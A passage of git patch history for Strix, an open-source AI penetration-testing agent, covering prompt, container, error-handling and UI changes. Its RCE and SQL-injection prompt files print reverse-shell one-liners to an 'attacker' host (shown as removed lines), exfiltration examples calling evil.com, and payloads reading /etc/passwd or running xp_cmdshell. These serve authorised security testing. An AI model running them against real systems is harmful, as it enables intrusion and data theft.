clean, and modular code -- **Functionality**: Prefer functional programming patterns where appropriate -- **Efficiency**: Optimize for performance without premature optimization -- **No Bloat**: Avoid unnecessary complexity or over-engineering -- **Minimal Comments**: Code should be self-documenting; use comments sparingly for complex business logic only - -### Code Quality Requirements -- All code MUST pass `make pre-commit` checks -- All code MUST pass Ruff linting without warnings -- All code MUST pass MyPy type checking without errors -- Type hints are required for all function signatures -- Follow the strict configuration in [pyproject.toml](mdc:pyproject.toml) - -### Execution Environment -- **ALWAYS** use `poetry run` for executing Python scripts and commands -- **NEVER** run Python directly with `python` command -- Use `poetry run strix-agent` for CLI operations -- Use `poetry run uvicorn strix.api.main:app` for API server - -### File Management Rules -- **DO NOT** create or edit README.md or any .md documentation files unless explicitly requested -- Focus on code implementation, not documentation -- Keep docstrings concise and functional - -### Testing and Quality Assurance -- Run `make pre-commit` before any commits -- Ensure all tests pass with `poetry run pytest` -- Use `poetry run mypy .` for type checking -- Use `poetry run ruff check .` for linting - -### Dependencies -- All dependencies managed through [pyproject.toml](mdc:pyproject.toml) -- Use Poetry for dependency management -- Pin versions for production dependencies -- Keep dev dependencies in separate group - -### Configuration -- Application settings in [strix/api/core/config.py](mdc:strix/api/core/config.py) -- LLM configuration in [strix/llm/config.py](mdc:strix/llm/config.py) -- Agent system prompts in [strix/agents/StrixAgent/system_prompt.jinja](mdc:strix/agents/StrixAgent/system_prompt.jinja) - -## Key Implementation Patterns - -### Agent Framework -- Inherit from BaseAgent for new agent implementations -- Use ReAct pattern for reasoning and action loops -- Implement tools through the registry system in [strix/tools/registry.py](mdc:strix/tools/registry.py) - -### API Development -- Use FastAPI with Pydantic models -- Implement proper error handling and validation -- Follow REST conventions for endpoints -- Use Beanie ODM for MongoDB operations - -### Security Tools -- Implement tools as action classes with clear interfaces -- Use async/await for I/O operations -- Implement proper cleanup and resource management -- Follow principle of least privilege - -### Error Handling -- Use structured exception handling -- Provide meaningful error messages -- Log errors appropriately without exposing sensitive information -- Implement graceful degradation where possible diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 8aeace47f..7d1681cc2 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -21,8 +21,6 @@ INTER-AGENT MESSAGES: USER INTERACTION: - Work autonomously by default -- BRIEFLY update user about current state in ONE SENTENCE and don't be repetitive/redundant (e.g., "Scanning port 443 for SSL vulnerabilities..." or "Found SQLi in login form, validating...") -- Keep updates concise and informative - no lengthy explanations - NEVER be redundant or repeat information - say it once and move on - If you need user input, IMMEDIATELY call wait_for_message tool - Never ask questions without calling wait_for_message in the same response diff --git a/strix/runtime/docker_runtime.py b/strix/runtime/docker_runtime.py index 4b514ec14..eef88fc82 100644 --- a/strix/runtime/docker_runtime.py +++ b/strix/runtime/docker_runtime.py @@ -1,3 +1,4 @@ +import contextlib import logging import os import secrets @@ -78,11 +79,24 @@ def _validate_image(image: docker.models.images.Image) -> None: def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Container: last_exception = None + container_name = f"strix-scan-{scan_id}" for attempt in range(max_retries): try: self._verify_image_available(STRIX_IMAGE) + try: + existing_container = self.client.containers.get(container_name) + logger.warning(f"Container {container_name} already exists, removing it") + with contextlib.suppress(Exception): + existing_container.stop(timeout=5) + existing_container.remove(force=True) + time.sleep(1) + except NotFound: + pass + except DockerException as e: + logger.warning(f"Error checking/removing existing container: {e}") + caido_port = self._find_available_port() tool_server_port = self._find_available_port() tool_server_token = self._generate_sandbox_token() @@ -94,7 +108,7 @@ def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Co STRIX_IMAGE, command="sleep infinity", detach=True, - name=f"strix-scan-{scan_id}", + name=container_name, hostname=f"strix-scan-{scan_id}", ports={ f"{caido_port}/tcp": caido_port, @@ -137,7 +151,9 @@ def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Co f"Failed to create Docker container after {max_retries} attempts: {last_exception}" ) from last_exception - def _get_or_create_scan_container(self, scan_id: str) -> Container: + def _get_or_create_scan_container(self, scan_id: str) -> Container: # noqa: PLR0912 + container_name = f"strix-scan-{scan_id}" + if self._scan_container: try: self._scan_container.reload() @@ -149,7 +165,43 @@ def _get_or_create_scan_container(self, scan_id: str) -> Container: self._tool_server_token = None try: - containers = self.client.containers.list(filters={"label": f"strix-scan-id={scan_id}"}) + container = self.client.containers.get(container_name) + container.reload() + + if ( + "strix-scan-id" not in container.labels + or container.labels["strix-scan-id"] != scan_id + ): + logger.warning( + f"Container {container_name} exists but missing/wrong label, updating" + ) + + if container.status != "running": + logger.info(f"Starting existing container {container_name}") + container.start() + time.sleep(2) + + self._scan_container = container + + for env_var in container.attrs["Config"]["Env"]: + if env_var.startswith("TOOL_SERVER_PORT="): + self._tool_server_port = int(env_var.split("=")[1]) + elif env_var.startswith("TOOL_SERVER_TOKEN="): + self._tool_server_token = env_var.split("=")[1] + + logger.info(f"Reusing existing container {container_name}") + + except NotFound: + pass + except DockerException as e: + logger.warning(f"Failed to get container by name {container_name}: {e}") + else: + return container + + try: + containers = self.client.containers.list( + all=True, filters={"label": f"strix-scan-id={scan_id}"} + ) if containers: container = cast("Container", containers[0]) if container.status != "running": @@ -163,9 +215,10 @@ def _get_or_create_scan_container(self, scan_id: str) -> Container: elif env_var.startswith("TOOL_SERVER_TOKEN="): self._tool_server_token = env_var.split("=")[1] + logger.info(f"Found existing container by label for scan {scan_id}") return container except DockerException as e: - logger.warning("Failed to find existing container for scan %s: %s", scan_id, e) + logger.warning("Failed to find existing container by label for scan %s: %s", scan_id, e) logger.info("Creating new Docker container for scan %s", scan_id) return self._create_container_with_retry(scan_id) From 914b98107287314d7323b3e83f747cade5f82ee6 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Tue, 9 Sep 2025 23:38:23 -0700 Subject: [PATCH 012/506] Improving prompts --- strix/agents/StrixAgent/system_prompt.jinja | 8 ++++++++ strix/tools/agents_graph/agents_graph_actions.py | 3 +++ strix/tools/terminal/terminal_actions_schema.xml | 9 +++++---- 3 files changed, 16 insertions(+), 4 deletions(-) diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 7d1681cc2..0a407d94d 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -24,6 +24,8 @@ USER INTERACTION: - NEVER be redundant or repeat information - say it once and move on - If you need user input, IMMEDIATELY call wait_for_message tool - Never ask questions without calling wait_for_message in the same response +- Minimize user messaging: avoid redundancy and repetition; consolidate updates into a single concise message +- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan) @@ -114,6 +116,8 @@ VALIDATION REQUIREMENTS: - Independent verification through subagent - Document complete attack chain - Keep going until you find something that matters +- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or messages to the user are NOT sufficient +- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed @@ -193,6 +197,10 @@ SIMPLE WORKFLOW RULES: 4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain 5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces 6. **ONE JOB PER AGENT** - Each agent has ONE specific task only +7. **VIEW THE AGENT GRAPH BEFORE ACTING** - Always call view_agent_graph before creating or messaging agents to avoid duplicates and to target correctly +8. **SCALE AGENT COUNT TO SCOPE** - Number of agents should correlate with target size and difficulty; avoid both agent sprawl and under-staffing +9. **CHILDREN ARE MEANINGFUL SUBTASKS** - Child agents must be focused subtasks that directly support their parent's task; do NOT create unrelated children +10. **UNIQUENESS** - Do not create two agents with the same task; ensure clear, non-overlapping responsibilities for every agent WHEN TO CREATE NEW AGENTS: diff --git a/strix/tools/agents_graph/agents_graph_actions.py b/strix/tools/agents_graph/agents_graph_actions.py index 15dd7d379..e9a2cb5e2 100644 --- a/strix/tools/agents_graph/agents_graph_actions.py +++ b/strix/tools/agents_graph/agents_graph_actions.py @@ -53,6 +53,9 @@ def _run_agent_in_thread( - You have {context_status} - Inherited context is for BACKGROUND ONLY - don't continue parent's work + - Maintain strict self-identity: never speak as or for your parent + - Do not merge your conversation with the parent's; + - Do not claim parent's actions or messages as your own - Focus EXCLUSIVELY on your delegated task above - Work independently with your own approach - Use agent_finish when complete to report back to parent diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml index 733859561..f8db9ed94 100644 --- a/strix/tools/terminal/terminal_actions_schema.xml +++ b/strix/tools/terminal/terminal_actions_schema.xml @@ -25,7 +25,7 @@ Use is_input=true for regular text input to running processes. - Optional timeout in seconds for command execution. If not provided, uses default timeout behavior. Set to higher values for long-running commands like installations or tests. Default is 10 seconds. + Optional timeout in seconds for command execution. CAPPED AT 60 SECONDS. If not provided, uses default wait (30s). On timeout, the command keeps running and the tool returns with status 'running'. For truly long-running tasks, prefer backgrounding with '&'. Identifier for the terminal session. Defaults to "default". Use different IDs to manage multiple concurrent terminal sessions. @@ -63,14 +63,15 @@ 3. LONG-RUNNING COMMANDS: - Commands never get killed automatically - they keep running in background - Set timeout to control how long to wait for output before returning + - For daemons/servers or very long jobs, append '&' to run in background - Use empty command "" to check progress (waits for timeout period to collect output) - Use C-c, C-d, C-z to interrupt processes (works automatically, no is_input needed) 4. TIMEOUT HANDLING: - - Timeout controls how long to wait before returning current output + - Timeout controls how long to wait before returning current output (max 60s cap) - Commands are NEVER killed on timeout - they keep running - After timeout, you can run new commands or check progress with empty command - - All commands return status "completed" - you have full control + - On timeout, status is 'running'; on completion, status is 'completed' 5. MULTIPLE TERMINALS: Use different terminal_id values to run multiple concurrent sessions. @@ -97,7 +98,7 @@ # Run a command with custom timeout npm install - 120 + 60 # Check progress of running command (waits for timeout to collect output) From 9a9a7268cded0227024487f02c564e7c12f56feb Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Wed, 10 Sep 2025 15:39:01 -0700 Subject: [PATCH 013/506] Better handling of LLM request failures --- pyproject.toml | 2 +- strix/agents/base_agent.py | 39 ++++++++++++++++--- strix/agents/state.py | 5 ++- strix/cli/app.py | 13 +++++-- strix/cli/tool_components/browser_renderer.py | 13 +++++++ .../cli/tool_components/file_edit_renderer.py | 4 ++ strix/llm/__init__.py | 5 ++- strix/llm/llm.py | 17 ++++---- strix/llm/memory_compressor.py | 5 ++- strix/llm/request_queue.py | 4 +- 10 files changed, 83 insertions(+), 24 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index ca3d7afa9..55b1ff00f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.12" +version = "0.1.14" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py index e769788e6..697778615 100644 --- a/strix/agents/base_agent.py +++ b/strix/agents/base_agent.py @@ -13,7 +13,7 @@ select_autoescape, ) -from strix.llm import LLM, LLMConfig +from strix.llm import LLM, LLMConfig, LLMRequestFailedError from strix.llm.utils import clean_content from strix.tools import process_tool_invocations @@ -164,6 +164,10 @@ async def agent_loop(self, task: str) -> dict[str, Any]: await self._enter_waiting_state(tracer) continue + if self.state.llm_failed: + await self._wait_for_input() + continue + self.state.increment_iteration() try: @@ -176,6 +180,13 @@ async def agent_loop(self, task: str) -> dict[str, Any]: await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True) continue + except LLMRequestFailedError as e: + self.state.add_error(f"LLM request failed: {e}") + self.state.enter_waiting_state(llm_failed=True) + if tracer: + tracer.update_agent_status(self.state.agent_id, "llm_failed") + continue + except (RuntimeError, ValueError, TypeError) as e: if not await self._handle_iteration_error(e, tracer): await self._enter_waiting_state(tracer, error_occurred=True) @@ -327,7 +338,7 @@ async def _handle_iteration_error( tracer.update_agent_status(self.state.agent_id, "error") return True - def _check_agent_messages(self, state: AgentState) -> None: + def _check_agent_messages(self, state: AgentState) -> None: # noqa: PLR0912 try: from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages @@ -340,12 +351,28 @@ def _check_agent_messages(self, state: AgentState) -> None: has_new_messages = False for message in messages: if not message.get("read", False): + sender_id = message.get("from") + if state.is_waiting_for_input(): - state.resume_from_waiting() - has_new_messages = True + if state.llm_failed: + if sender_id == "user": + state.resume_from_waiting() + has_new_messages = True - sender_name = "Unknown Agent" - sender_id = message.get("from") + from strix.cli.tracer import get_global_tracer + + tracer = get_global_tracer() + if tracer: + tracer.update_agent_status(state.agent_id, "running") + else: + state.resume_from_waiting() + has_new_messages = True + + from strix.cli.tracer import get_global_tracer + + tracer = get_global_tracer() + if tracer: + tracer.update_agent_status(state.agent_id, "running") if sender_id == "user": sender_name = "User" diff --git a/strix/agents/state.py b/strix/agents/state.py index 234a0e22a..acfa0a5e1 100644 --- a/strix/agents/state.py +++ b/strix/agents/state.py @@ -23,6 +23,7 @@ class AgentState(BaseModel): completed: bool = False stop_requested: bool = False waiting_for_input: bool = False + llm_failed: bool = False final_result: dict[str, Any] | None = None messages: list[dict[str, Any]] = Field(default_factory=list) @@ -85,15 +86,17 @@ def should_stop(self) -> bool: def is_waiting_for_input(self) -> bool: return self.waiting_for_input - def enter_waiting_state(self) -> None: + def enter_waiting_state(self, llm_failed: bool = False) -> None: self.waiting_for_input = True self.stop_requested = False + self.llm_failed = llm_failed self.last_updated = datetime.now(UTC).isoformat() def resume_from_waiting(self, new_task: str | None = None) -> None: self.waiting_for_input = False self.stop_requested = False self.completed = False + self.llm_failed = False if new_task: self.task = new_task self.last_updated = datetime.now(UTC).isoformat() diff --git a/strix/cli/app.py b/strix/cli/app.py index b1c2d8b88..e7a29f2ff 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -420,6 +420,7 @@ def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool: "failed": "❌", "stopped": "⏹️", "stopping": "⏸️", + "llm_failed": "🔴", } status_icon = status_indicators.get(status, "🔵") @@ -544,6 +545,12 @@ def _update_agent_status_display(self) -> None: self._safe_widget_operation(status_text.update, "Agent completed") self._safe_widget_operation(keymap_indicator.update, "") self._safe_widget_operation(status_display.remove_class, "hidden") + elif status == "llm_failed": + self._safe_widget_operation(status_text.update, "[red]LLM request failed[/red]") + self._safe_widget_operation( + keymap_indicator.update, "[dim]Send message to retry[/dim]" + ) + self._safe_widget_operation(status_display.remove_class, "hidden") elif status == "waiting": animated_text = self._get_animated_waiting_text(self.selected_agent_id) self._safe_widget_operation(status_text.update, animated_text) @@ -626,7 +633,7 @@ def _animate_dots(self) -> None: for agent_id, agent_data in self.tracer.agents.items(): status = agent_data.get("status", "running") - if status in ["running", "waiting"]: + if status in ["running", "waiting", "llm_failed"]: has_active_agents = True current_dots = self._agent_dot_states.get(agent_id, 0) self._agent_dot_states[agent_id] = (current_dots + 1) % 4 @@ -637,7 +644,7 @@ def _animate_dots(self) -> None: and self.selected_agent_id in self.tracer.agents ): selected_status = self.tracer.agents[self.selected_agent_id].get("status", "running") - if selected_status in ["running", "waiting"]: + if selected_status in ["running", "waiting", "llm_failed"]: self._update_agent_status_display() if not has_active_agents: @@ -645,7 +652,7 @@ def _animate_dots(self) -> None: for agent_id in list(self._agent_dot_states.keys()): if agent_id not in self.tracer.agents or self.tracer.agents[agent_id].get( "status" - ) not in ["running", "waiting"]: + ) not in ["running", "waiting", "llm_failed"]: del self._agent_dot_states[agent_id] def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]: diff --git a/strix/cli/tool_components/browser_renderer.py b/strix/cli/tool_components/browser_renderer.py index e1b6afb6c..1c4723c88 100644 --- a/strix/cli/tool_components/browser_renderer.py +++ b/strix/cli/tool_components/browser_renderer.py @@ -30,6 +30,8 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: url = args.get("url") text = args.get("text") js_code = args.get("js_code") + key = args.get("key") + file_path = args.get("file_path") if action in [ "launch", @@ -40,6 +42,8 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: "click", "double_click", "hover", + "press_key", + "save_pdf", ]: if action == "launch": display_url = cls._format_url(url) if url else None @@ -60,6 +64,12 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: message = ( f"executing javascript\n{display_js}" if display_js else "executing javascript" ) + elif action == "press_key": + display_key = cls.escape_markup(key) if key else None + message = f"pressing key {display_key}" if display_key else "pressing key" + elif action == "save_pdf": + display_path = cls.escape_markup(file_path) if file_path else None + message = f"saving PDF to {display_path}" if display_path else "saving PDF" else: action_words = { "click": "clicking", @@ -73,11 +83,14 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: simple_actions = { "back": "going back in browser history", "forward": "going forward in browser history", + "scroll_down": "scrolling down", + "scroll_up": "scrolling up", "refresh": "refreshing browser tab", "close_tab": "closing browser tab", "switch_tab": "switching browser tab", "list_tabs": "listing browser tabs", "view_source": "viewing page source", + "get_console_logs": "getting console logs", "screenshot": "taking screenshot of browser tab", "wait": "waiting...", "close": "closing browser", diff --git a/strix/cli/tool_components/file_edit_renderer.py b/strix/cli/tool_components/file_edit_renderer.py index bd6d5d1f5..9e2fbe3fc 100644 --- a/strix/cli/tool_components/file_edit_renderer.py +++ b/strix/cli/tool_components/file_edit_renderer.py @@ -25,6 +25,10 @@ def render(cls, tool_data: dict[str, Any]) -> Static: header = "✏️ [bold #10b981]Editing file[/]" elif command == "create": header = "📝 [bold #10b981]Creating file[/]" + elif command == "insert": + header = "✏️ [bold #10b981]Inserting text[/]" + elif command == "undo_edit": + header = "↩️ [bold #10b981]Undoing edit[/]" else: header = "📄 [bold #10b981]File operation[/]" diff --git a/strix/llm/__init__.py b/strix/llm/__init__.py index bc23f405d..6dde52543 100644 --- a/strix/llm/__init__.py +++ b/strix/llm/__init__.py @@ -1,12 +1,15 @@ import litellm from .config import LLMConfig -from .llm import LLM +from .llm import LLM, LLMRequestFailedError __all__ = [ "LLM", "LLMConfig", + "LLMRequestFailedError", ] +litellm._logging._disable_debugging() + litellm.drop_params = True diff --git a/strix/llm/llm.py b/strix/llm/llm.py index 5b1cc7aa5..374961752 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -28,6 +28,11 @@ if api_key: litellm.api_key = api_key + +class LLMRequestFailedError(Exception): + """Raised when LLM request fails after all retry attempts.""" + + MODELS_WITHOUT_STOP_WORDS = [ "gpt-5", "gpt-5-mini", @@ -250,15 +255,8 @@ async def generate( tool_invocations=tool_invocations if tool_invocations else None, ) - except (ValueError, TypeError, RuntimeError): - logger.exception("Error in LLM generation") - return LLMResponse( - scan_id=scan_id, - step_number=step_number, - role=StepRole.AGENT, - content="An error occurred while generating the response", - tool_invocations=None, - ) + except Exception as e: + raise LLMRequestFailedError("LLM request failed after all retry attempts") from e @property def usage_stats(self) -> dict[str, dict[str, int | float]]: @@ -307,6 +305,7 @@ async def _make_request( "model": self.config.model_name, "messages": messages, "temperature": self.config.temperature, + "timeout": 180, } if self._should_include_stop_param(): diff --git a/strix/llm/memory_compressor.py b/strix/llm/memory_compressor.py index be0c785b6..38dbcf6b9 100644 --- a/strix/llm/memory_compressor.py +++ b/strix/llm/memory_compressor.py @@ -106,10 +106,13 @@ def _summarize_messages( completion_args = { "model": model, "messages": [{"role": "user", "content": prompt}], + "timeout": 180, } response = litellm.completion(**completion_args) - summary = response.choices[0].message.content + summary = response.choices[0].message.content or "" + if not summary.strip(): + return messages[0] summary_msg = "{text}" return { "role": "assistant", diff --git a/strix/llm/request_queue.py b/strix/llm/request_queue.py index 3ea77617a..bde0ee11d 100644 --- a/strix/llm/request_queue.py +++ b/strix/llm/request_queue.py @@ -38,8 +38,8 @@ async def make_request(self, completion_args: dict[str, Any]) -> ModelResponse: self._semaphore.release() @retry( # type: ignore[misc] - stop=stop_after_attempt(15), - wait=wait_exponential(multiplier=1.2, min=1, max=300), + stop=stop_after_attempt(5), + wait=wait_exponential(multiplier=2, min=1, max=30), reraise=True, ) async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse: From 5294d613d0cf6040fffb4eab9ed1e5be50aff08d Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Fri, 12 Sep 2025 11:52:35 -0700 Subject: [PATCH 014/506] Remove rce prompt examples --- pyproject.toml | 2 +- strix/prompts/vulnerabilities/rce.jinja | 20 ++----------------- .../vulnerabilities/sql_injection.jinja | 1 - 3 files changed, 3 insertions(+), 20 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 55b1ff00f..30f919dc5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.14" +version = "0.1.15" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja index 5be6df89d..c3023a581 100644 --- a/strix/prompts/vulnerabilities/rce.jinja +++ b/strix/prompts/vulnerabilities/rce.jinja @@ -59,7 +59,7 @@ ${IFS}id -- eval($_GET['cmd']) +- eval() with user input - system(), exec(), shell_exec(), passthru() - preg_replace with /e modifier - assert() with string input @@ -101,7 +101,7 @@ Works in multiple contexts: - DNS exfiltration: $(whoami).evil.com - HTTP callbacks: curl evil.com/$(id) - Time delays for boolean extraction -- Write to web root: echo '' > /var/www/shell.php +- Write to web root
@@ -163,22 +163,6 @@ concat:|file:///etc/passwd - Path traversal: /usr/bin/id vs id - - -Bash: bash -i >& /dev/tcp/attacker/4444 0>&1 -Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' -Netcat: nc -e /bin/sh attacker 4444 -PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() - - - -- Cron jobs -- SSH keys -- Web shells -- Systemd services - - - To confirm RCE: 1. Execute unique command (id, hostname) diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja index f3917b15c..b354073ff 100644 --- a/strix/prompts/vulnerabilities/sql_injection.jinja +++ b/strix/prompts/vulnerabilities/sql_injection.jinja @@ -82,7 +82,6 @@ PostgreSQL: MySQL: ' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- -' UNION SELECT 1,2,'' INTO OUTFILE '/var/www/shell.php'-- MSSQL: '; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- From aabf97af0a1460925e61a926882fd3a5be1484ed Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Sun, 14 Sep 2025 15:56:07 -0700 Subject: [PATCH 015/506] Adding more verbose logging for llm failed requests (#30) --- strix/agents/base_agent.py | 15 +++++++++-- strix/cli/app.py | 22 +++++++++++++--- strix/cli/tracer.py | 6 ++++- strix/llm/llm.py | 51 +++++++++++++++++++++++++++++++++++--- strix/llm/request_queue.py | 17 ++++++++++++- 5 files changed, 100 insertions(+), 11 deletions(-) diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py index 697778615..0ab390233 100644 --- a/strix/agents/base_agent.py +++ b/strix/agents/base_agent.py @@ -181,10 +181,21 @@ async def agent_loop(self, task: str) -> dict[str, Any]: continue except LLMRequestFailedError as e: - self.state.add_error(f"LLM request failed: {e}") + error_msg = str(e) + error_details = getattr(e, "details", None) + self.state.add_error(error_msg) self.state.enter_waiting_state(llm_failed=True) if tracer: - tracer.update_agent_status(self.state.agent_id, "llm_failed") + tracer.update_agent_status(self.state.agent_id, "llm_failed", error_msg) + if error_details: + tracer.log_tool_execution_start( + self.state.agent_id, + "llm_error_details", + {"error": error_msg, "details": error_details}, + ) + tracer.update_tool_execution( + tracer._next_execution_id - 1, "failed", error_details + ) continue except (RuntimeError, ValueError, TypeError) as e: diff --git a/strix/cli/app.py b/strix/cli/app.py index e7a29f2ff..0e059d0fb 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -546,11 +546,16 @@ def _update_agent_status_display(self) -> None: self._safe_widget_operation(keymap_indicator.update, "") self._safe_widget_operation(status_display.remove_class, "hidden") elif status == "llm_failed": - self._safe_widget_operation(status_text.update, "[red]LLM request failed[/red]") + error_msg = agent_data.get("error_message", "") + display_msg = ( + f"[red]{error_msg}[/red]" if error_msg else "[red]LLM request failed[/red]" + ) + self._safe_widget_operation(status_text.update, display_msg) self._safe_widget_operation( keymap_indicator.update, "[dim]Send message to retry[/dim]" ) self._safe_widget_operation(status_display.remove_class, "hidden") + self._stop_dot_animation() elif status == "waiting": animated_text = self._get_animated_waiting_text(self.selected_agent_id) self._safe_widget_operation(status_text.update, animated_text) @@ -633,7 +638,7 @@ def _animate_dots(self) -> None: for agent_id, agent_data in self.tracer.agents.items(): status = agent_data.get("status", "running") - if status in ["running", "waiting", "llm_failed"]: + if status in ["running", "waiting"]: has_active_agents = True current_dots = self._agent_dot_states.get(agent_id, 0) self._agent_dot_states[agent_id] = (current_dots + 1) % 4 @@ -644,7 +649,7 @@ def _animate_dots(self) -> None: and self.selected_agent_id in self.tracer.agents ): selected_status = self.tracer.agents[self.selected_agent_id].get("status", "running") - if selected_status in ["running", "waiting", "llm_failed"]: + if selected_status in ["running", "waiting"]: self._update_agent_status_display() if not has_active_agents: @@ -652,7 +657,7 @@ def _animate_dots(self) -> None: for agent_id in list(self._agent_dot_states.keys()): if agent_id not in self.tracer.agents or self.tracer.agents[agent_id].get( "status" - ) not in ["running", "waiting", "llm_failed"]: + ) not in ["running", "waiting"]: del self._agent_dot_states[agent_id] def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]: @@ -900,6 +905,7 @@ def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: "reporting_action": "#ea580c", "scan_start_info": "#22c55e", "subagent_start_info": "#22c55e", + "llm_error_details": "#dc2626", } color = tool_colors.get(tool_name, "#737373") @@ -911,6 +917,14 @@ def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: if renderer: widget = renderer.render(tool_data) content = str(widget.renderable) + elif tool_name == "llm_error_details": + lines = ["[red]✗ LLM Request Failed[/red]"] + if args.get("details"): + details = args["details"] + if len(details) > 300: + details = details[:297] + "..." + lines.append(f"[dim]Details:[/dim] {escape_markup(details)}") + content = "\n".join(lines) else: status_icons = { "running": "[yellow]●[/yellow]", diff --git a/strix/cli/tracer.py b/strix/cli/tracer.py index 4167beb1e..54ab19624 100644 --- a/strix/cli/tracer.py +++ b/strix/cli/tracer.py @@ -168,10 +168,14 @@ def update_tool_execution( self.tool_executions[execution_id]["result"] = result self.tool_executions[execution_id]["completed_at"] = datetime.now(UTC).isoformat() - def update_agent_status(self, agent_id: str, status: str) -> None: + def update_agent_status( + self, agent_id: str, status: str, error_message: str | None = None + ) -> None: if agent_id in self.agents: self.agents[agent_id]["status"] = status self.agents[agent_id]["updated_at"] = datetime.now(UTC).isoformat() + if error_message: + self.agents[agent_id]["error_message"] = error_message def set_scan_config(self, config: dict[str, Any]) -> None: self.scan_config = config diff --git a/strix/llm/llm.py b/strix/llm/llm.py index 374961752..f24c5095d 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -30,7 +30,10 @@ class LLMRequestFailedError(Exception): - """Raised when LLM request fails after all retry attempts.""" + def __init__(self, message: str, details: str | None = None): + super().__init__(message) + self.message = message + self.details = details MODELS_WITHOUT_STOP_WORDS = [ @@ -211,7 +214,7 @@ def _prepare_cached_messages(self, messages: list[dict[str, Any]]) -> list[dict[ return cached_messages - async def generate( + async def generate( # noqa: PLR0912, PLR0915 self, conversation_history: list[dict[str, Any]], scan_id: str | None = None, @@ -255,8 +258,50 @@ async def generate( tool_invocations=tool_invocations if tool_invocations else None, ) + except litellm.RateLimitError as e: + raise LLMRequestFailedError("LLM request failed: Rate limit exceeded", str(e)) from e + except litellm.AuthenticationError as e: + raise LLMRequestFailedError("LLM request failed: Invalid API key", str(e)) from e + except litellm.NotFoundError as e: + raise LLMRequestFailedError("LLM request failed: Model not found", str(e)) from e + except litellm.ContextWindowExceededError as e: + raise LLMRequestFailedError("LLM request failed: Context too long", str(e)) from e + except litellm.ContentPolicyViolationError as e: + raise LLMRequestFailedError( + "LLM request failed: Content policy violation", str(e) + ) from e + except litellm.ServiceUnavailableError as e: + raise LLMRequestFailedError("LLM request failed: Service unavailable", str(e)) from e + except litellm.Timeout as e: + raise LLMRequestFailedError("LLM request failed: Request timed out", str(e)) from e + except litellm.UnprocessableEntityError as e: + raise LLMRequestFailedError("LLM request failed: Unprocessable entity", str(e)) from e + except litellm.InternalServerError as e: + raise LLMRequestFailedError("LLM request failed: Internal server error", str(e)) from e + except litellm.APIConnectionError as e: + raise LLMRequestFailedError("LLM request failed: Connection error", str(e)) from e + except litellm.UnsupportedParamsError as e: + raise LLMRequestFailedError("LLM request failed: Unsupported parameters", str(e)) from e + except litellm.BudgetExceededError as e: + raise 